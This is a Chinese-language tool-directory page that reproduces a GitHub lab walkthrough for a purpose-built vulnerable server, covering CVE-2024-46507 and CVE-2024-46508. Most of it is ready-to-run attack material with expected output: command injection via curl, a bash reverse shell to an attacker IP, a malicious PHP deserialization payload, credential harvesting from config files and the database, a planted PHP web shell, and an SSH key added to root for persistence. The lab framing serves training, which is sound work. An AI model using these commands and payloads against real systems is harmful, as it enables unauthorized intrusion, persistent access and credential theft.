Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-46507 — CVE-2024-46507 和 CVE-2024-46508 的构建脚本 | Kitploit
工具/GitHubGitHub/somchandra17/cve-2024-46507
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育实验室与实践
GitHubsomchandra17/cve-2024-46507

CVE-2024-46507

CVE-2024-46507 和 CVE-2024-46508 的构建脚本

查看仓库
1161年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

该脚本在 Ubuntu Server 20.04 LTS 上测试并构建,而 Kali Linux 用于漏洞利用和演练。

本演练将指导您利用包含 CVE-2024-46507(命令注入)和 CVE-2024-46508(身份验证绕过)漏洞的脆弱服务器。

初步侦察

首先,将目标 IP 地址导出为变量。请将其替换为您实际的靶机 IP:

root@kitploit:~
export TARGET="192.168.65.129"

端口扫描

首先,识别目标上开放的服务:

root@kitploit:~
# 初始快速扫描常见端口
sudo nmap -sS -T4 $TARGET

# 全端口扫描,确保不遗漏任何端口
sudo nmap -sS -p- -T4 $TARGET

# 对已发现端口进行详细扫描,包含服务版本检测
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

详细扫描的预期输出:

root@kitploit:~
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web 应用枚举

让我们探索在发现端口上的 Web 应用:

root@kitploit:~
# 检查端口 80(Apache)
firefox http://$TARGET/

# 检查端口 9000(Python SimpleHTTP 服务器)
firefox http://$TARGET:9000/

两者都指向相同的应用内容。让我们进一步了解应用结构:

root@kitploit:~
# 使用 gobuster 查找目录和文件
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

预期输出:

root@kitploit:~
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

检查 API 目录中的内容:

root@kitploit:~
# 使用 gobuster 查找 API 端点
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

或者您可以直接在浏览器中打开它。

预期输出:

root@kitploit:~
/process.php (Status: 200)

利用 CVE-2024-46507(命令注入)

根据侦察,我们发现了 /api/process.php 端点。Web 界面显示一个表单,该表单通过 "command" 参数提交到此端点。

测试命令注入:

root@kitploit:~
# 使用简单命令测试
curl "http://$TARGET:9000/api/process.php?command=id"

预期输出:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功!应用程序正在执行我们的命令。检查我们还能访问什么:

root@kitploit:~
# 列出目录内容
curl "http://$TARGET/api/process.php?command=ls+-la"

# 探索系统
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

输出:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 

现在,获取一个反弹 shell。首先,在 Kali 机器上设置一个监听器:

root@kitploit:~
# 启动一个 netcat 监听器
nc -lvnp 4444

然后,发送反弹 shell 命令:

root@kitploit:~
# URL 编码反弹 shell 载荷
# 原始命令: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# 将 YOUR_KALI_IP 替换为实际的 Kali 机器 IP

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

您现在应该获得一个 www-data 用户的 shell!让我们升级到一个更好的 shell:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# 按 Ctrl+Z 将 shell 放入后台
# 然后在 Kali 终端中执行:
stty raw -echo; fg
# 按两次回车

通过 CVE-2024-46508 权限提升

现在我们有了 shell,检查敏感文件:

root@kitploit:~
# 检查应用配置
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

我们发现默认凭据:

  • 用户名: admin
  • 密码: admin

检查数据库凭据:

root@kitploit:~
# 查找数据库凭据
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

这应显示数据库连接详情。让我们访问数据库:

root@kitploit:~
# 连接到 MariaDB
mysql -u vulnuser -p'password123' vulnapp

连接后,探索数据库:

root@kitploit:~
-- 显示表
SHOW TABLES;

-- 查看用户表
SELECT * FROM users;

我们应该找到一个密码为 "supersecretpassword" 的 admin 用户。尝试使用此信息获取 root 访问权限:

root@kitploit:~
# 尝试切换到 root
su root
# 输入密码: supersecretpassword

如果 su 方法不起作用,检查其他权限提升向量:

root@kitploit:~
# 检查 sudo 权限
sudo -l

# 检查 SUID 二进制文件
find / -perm -u=s -type f 2>/dev/null

# 检查 cron 作业
cat /etc/crontab
ls -la /etc/cron*

另一种方法是使用发现的凭据尝试 SSH 访问:

root@kitploit:~
# 在 Kali 机器上
ssh root@$TARGET
# 输入密码: supersecretpassword

获取 Flag

一旦获得 root 访问权限,我们应该找到 flag:

root@kitploit:~
# 查找 flag 文件
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# 读取 flag
cat /root/flag.txt

预期输出:

root@kitploit:~
f1a9d4c2b7e35680d2f1a9c3b7d45e80

替代利用:PHP 反序列化

该应用程序也容易受到 PHP 反序列化攻击。让我们创建一个恶意的序列化对象:

root@kitploit:~
<?php
// 在 Kali 机器上保存为 exploit.php
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

生成有效载荷:

root@kitploit:~
php exploit.php

这将输出一个经过 base64 编码的序列化对象。将其发送到服务器:

root@kitploit:~
# 将上一个命令的输出保存为 PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

服务器应执行我们的代码并显示 flag。

高级利用:持久化

为了获得更持久的立足点,我们可以创建一个 Web shell:

root@kitploit:~
# 以 www-data 用户身份创建 PHP Web shell
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# 从 Kali 访问
curl "http://$TARGET/shell.php?cmd=id"

我们还可以添加 SSH 密钥以获取持久的 root 访问权限:

root@kitploit:~
# 在 Kali 上生成 SSH 密钥对
ssh-keygen -t rsa -f vulnserver_key

# 在目标上以 root 身份添加公钥
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# 然后从 Kali 连接
ssh -i vulnserver_key root@$TARGET

漏洞总结

该服务器存在两个主要漏洞:

  1. CVE-2024-46507: process.php API 端点中的命令注入漏洞,允许我们执行任意命令。

  2. CVE-2024-46508: 身份验证绕过和权限提升,原因如下:

    • 默认凭据未禁用
    • 数据库密码弱
    • 跨不同系统重复使用密码
下载工具